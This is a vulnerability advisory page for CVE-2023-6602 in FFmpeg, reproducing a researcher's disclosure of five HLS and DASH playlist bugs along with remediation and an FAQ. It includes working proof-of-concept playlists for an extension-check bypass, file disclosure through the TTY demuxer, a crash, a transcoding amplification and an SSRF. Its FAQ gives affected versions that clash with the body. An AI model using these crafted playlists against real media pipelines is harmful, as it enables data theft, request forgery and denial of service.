CVE-2023-6602: Ffmpeg: improper handling of input format in tty demuxer of ffmpeg
A flaw was found in FFmpeg's TTY Demuxer. This vulnerability allows possible data exfiltration via improper parsing of non-TTY-compliant input files in HLS playlists.
Other sources
FFmpeg Findings 2023.12.01 Overview Included in this document are five (5) bugs in the open-source package ffmpeg. Internal CVSS 3.1 scoring for these bugs range from 3.9 to 7.2. Attribution for these findings: Harvey Phillips of Amazon Element55 (element55).
If the recipient of this notice (secalert) has any questions regarding these findings, please do not hesitate to contact us at element55.
I. HLS Unsafe File Extension Bypass Affected Versions: 2.0 (at least) → 6.0 (latest)
There is a commit upstream which prevents this issue by enforcing a file extension check on HLS playlists. Currently, this commit is not in any FFmpeg release branch (6.0 being the latest).
Suggested CVSS 3.1: 3.9 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Summary An instance of FFmpeg that does not enforce an input format can be tricked into bypassing the unsafe file extension check.
Impact This issue makes it possible to construct arbitrary inputs from multiple sources and trigger arbitrary demuxers, possibly leading to exfiltration of unintended data.
Description HLS Playlists can contain data:// URIs with base64 encoded file contents. By base64-encoding a valid media file and including it in the playlist in this way, an error will be thrown about an unsafe file extension. By adding =.mp4, or =.m3u8, etc to the end of the base64-encoded data this check will be bypassed. Any of the following file extensions will work: 3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav. Example: without the appended =.m3u8:
[hls @ 0xaaaaeaec2140] Filename extension of 'data://text/plain;base64,WEJJThogABAAEAA=' is not a common multimedia extension, blocked for security reasons. If you wish to override this adjust allowedextensions, you can set it to 'ALL' to allow all [hls @ 0xaaaaeaec2140] Failed to open segment 0 of playlist 0 [hls @ 0xaaaaeaec2140] Error when loading first segment 'data://text/plain;base64,WEJJThogABAAEAA=' input.mp4: Invalid data found when processing input
and after appending =.m3u8 to the data:// uri:
[hls @ 0xaaaafb613160] Opening 'data://text/plain;base64,WEJJThogABAAEAA==.m3u8' for reading Reproduction Example input:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:1, data://text/plain;base64,WEJJThogABAAEAAoDzEPKQ8gD0gPTA9TDyAPVQ9uD3MPYQ9mD2UPIA9GD2kPbA9lDyAPRQ94D3QPZQ9uD3MPaQ9vD24PIA9CD3kPcA9hD3MPcw8=.m3u8 #EXT-X-ENDLIST
Trigger with ffmpeg -i input.mp4 output.mp4. Playing output.mp4 will show the text (1) HLS Unsafe File Extension Bypass.
Remediation Anything after either the padding (=) or first non-base64 character should be discarded before the check is performed.
II. HLS Force TTY Demuxer Affected Versions: 2.0 (at least) → 6.0 (latest)
There is a commit upstream which prevents this issue by enforcing a file extension check on HLS playlists. Currently this commit is not in any FFmpeg release branch (6.0 being the latest).
Suggested CVSS 3.1: 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Summary For an instance of FFmpeg that does not enforce an input format, the TTY demuxer can be triggered even when the input file does not meet the TTY requirements.
Impact The TTY demuxer treats all input as ASCII and renders it in the video output. This issue could therefore allow for possible data exfiltration.
Description The TTY demuxer is normally only triggered if the input file has one of the following extensions: ans, art, asc, diz, ice, nfo, txt, or vt. Applying (1) but using e.g. the .ans extension produces an error:
[hls @ 0xaaab130f79c0] Filename extension of 'data://text/plain;base64,QUFBQUFBQUEK=.ans' is not a common multimedia extension, blocked for security reasons. If you wish to override this adjust allowedextensions, you can set it to 'ALL' to allow all
However, FFmpeg continues to parse the remainder of the segments in the HLS playlist with the TTY demuxer.
Reproduction Example Input (input.mp4):
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:1, data://text/plain;base64,QUFBQUFBQUEK=.ans #EXTINF:1, data://text/plain;base64,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoK=.m3u8 #EXTINF:1, file:///some/secret/file/with/a/media/extension.ext #EXT-X-ENDLIST
Trigger with ffmpeg -i input.mp4 output.mp4. Playing output.mp4 will show the contents of the file in the file:// URI printed out in the video playback.
Remediation If the common multimedia extension check fails, the demuxer that was identified should be discarded and the identification process should begin anew with the next input in the playlist.
III. HLS EXT-X-MAP Null Dereference Affected Versions: 3.0 → 5.0 (commit)
Suggested CVSS 3.1: 7.5 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary An instance of FFmpeg that does not enforce an input format can be provided an incorrectly formatted HLS playlist which triggers a null pointer dereference leading to a segfault.
Impact A maliciously crafted input file can reliably crash FFmpeg, possibly leading to a denial of service.
Description When parsing an HLS playlist, FFmpeg prior to version 5.0 will not check the return value of newinitsection(). When this function encounters an error, it returns NULL, leading to a null pointer deference when members curinitsection are accessed.
Reproduction Example Input (input.mp4):
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXT-X-MAP:URI=" data://test/plain;base64,QUFBQQo=.m3u8 #EXT-X-ENDLIST
Trigger with ffmpeg -i input.mp4 output.mp4. FFmpeg will crash with a segmentation fault (core dumped) message on Linux.
Remediation The return value of newinitsection() is checked by this commit.
IV. HLS XBIN Demuxer DoS Amplification Affected Versions: 2.0 (at least) → 6.0 (latest)
Suggested CVSS 3.1: 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Summary An instance of FFmpeg that does not enforce an input format can be tricked into demuxing arbitrary data as XBIN-formatted, leading to a considerably larger output file and extended transcoding time.
Impact Unexpected additional CPU load for transcoding and storage for large files could lead to degraded or denial of service.
Description If an input to FFmpeg begins with the XBIN header (11 bytes), then the remainder of the input will be as an array of uint16-ts, which each pair of bytes denoting the ASCII character and foreground/background colour respectively. This format allows typical XBIN files to be relatively small. Due to the lack of structure (beyond the 11-byte header), non-XBIN data can be treated as XBIN data without error. By providing a subsequent input that is very large, FFmpeg will transcode and produce an even larger output. A sample MP4 totalling 16MB and lasting 3m11s took over 3 minutes to transcode and produced a 352MB file with a duration of 43m52s.
Reproduction Example Input (input.mp4):
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:1, data://text/plain;base64,WEJJThogABAAEAA==.m3u8 #EXTINF:1, file:///absolute/path/to/some/file/with/a/media/extension.ext #EXT-X-ENDLIST
Trigger via: ffmpeg -i input.mp4 output.mp4. The transcoding will take a disproportional amount of time and output.mp4 will be much larger than the input. Alternatively, you could replace the file:// URI with a data:// URI and provide the input data directly.
Remediation The XBIN demuxer should only be triggered if the input file extension matches a known value, e.g. .XB.
V. DASH Playlist SSRF Affected Versions: 4.2 → 6.0 (latest)
DASH playlist support requires FFmpeg to be compiled with libxml2 support.
Suggested CVSS 3.1: 7.2 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Summary An instance of FFmpeg that does not enforce an input format can be provided a malicious input that will trigger an SSRF to an attacker controlled URL.
Impact Arbitrary HTTP GET requests can be made on behalf of the machine that FFmpeg is running on.
Description The DASH demuxer doesn't check the protocol whitelist before triggering the http demuxer which updates the whitelist to include http,https,tls,rtp,tcp,udp,crypto,httpproxy,data.
[NULL @ 0xaaaaf874c1a0] Opening 'input.mp4' for reading [file @ 0xaaaaf874ca90] Setting default whitelist 'file,crypto,data' Probing dash score:100 size:526 [dash @ 0xaaaaf874c1a0] Format dash probed with size=2048 and score=100 [dash @ 0xaaaaf874c1a0] DASH request for url 'http://localhost:8000/secret', offset 0, playlist 0 [http @ 0xaaaaf8751370] Setting default whitelist 'http,https,tls,rtp,tcp,udp,crypto,httpproxy,data'
As the response to any HTTP requests made are treated as input to FFmpeg, a DASH playlist can be constructed so that the first request is to an attacker controlled web server that returns, e.g. an XBIN header. Once the XBIN demuxer is triggered, the subsequent requests (even to non-attacker controlled web servers) will be treated as XBIN input. This results in a partial rendering in the output artifact, allowing for possible data exfiltration.
Reproduction Example Input (input.mp4):
<MPD xmlns="urn:mpeg:dash:schema:mpd:2011" profiles="urn:mpeg:dash:profile:full:2011,http://www.dashif.org/guidelines/low-latency-live-v5" type="none"> <Period duration="PT1S"> <BaseURL></BaseURL> <AdaptationSet contentType="video" lang="en"> <Representation id="video"> <SegmentList> <SegmentURL media="http://localhost:8000/secret"/> </SegmentList> </Representation> </AdaptationSet> </Period> </MPD>
Spawn an HTTP locally server (e.g. python3 -m http.server) and run ffmpeg -i input.mp4 output.mp4 with the above input. You'll see a GET to /secret in the logs of the HTTP server.
Remediation DASH playlists should restrict URIs to data:// and file:// unless otherwise specified with protocolwhitelist.
— Red Hat
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
debian/ffmpegto a version that resolves this vulnerability.Fixed in 7:5.1.9-0+deb12u1Fixed in 7:7.1.5-0+deb13u1Fixed in 7:9.0.2-4 - Upgrade
Upgrade
alpine/ffmpegto a version that resolves this vulnerability.Fixed in 7.1.1-r0 - Configuration
Restrict DASH playlist URIs to data:// and file://; use protocol_whitelist when other protocols are explicitly required.
FFmpeg DASH demuxer protocol_whitelist = data,file
Event History
Frequently Asked Questions
What is the severity of CVE-2023-6602?
CVE-2023-6602 has a moderate severity level due to the potential data exfiltration risk associated with the improper parsing of input files.
How do I fix CVE-2023-6602?
To fix CVE-2023-6602, update FFmpeg to the latest version that addresses this vulnerability.
What versions of FFmpeg are affected by CVE-2023-6602?
CVE-2023-6602 affects FFmpeg versions from 2.0 to less than 6.0.
What type of vulnerability is CVE-2023-6602?
CVE-2023-6602 is a parsing vulnerability within FFmpeg's TTY Demuxer that can lead to potential data leakage.
Can CVE-2023-6602 be exploited remotely?
Yes, CVE-2023-6602 can potentially be exploited remotely through crafted playlists.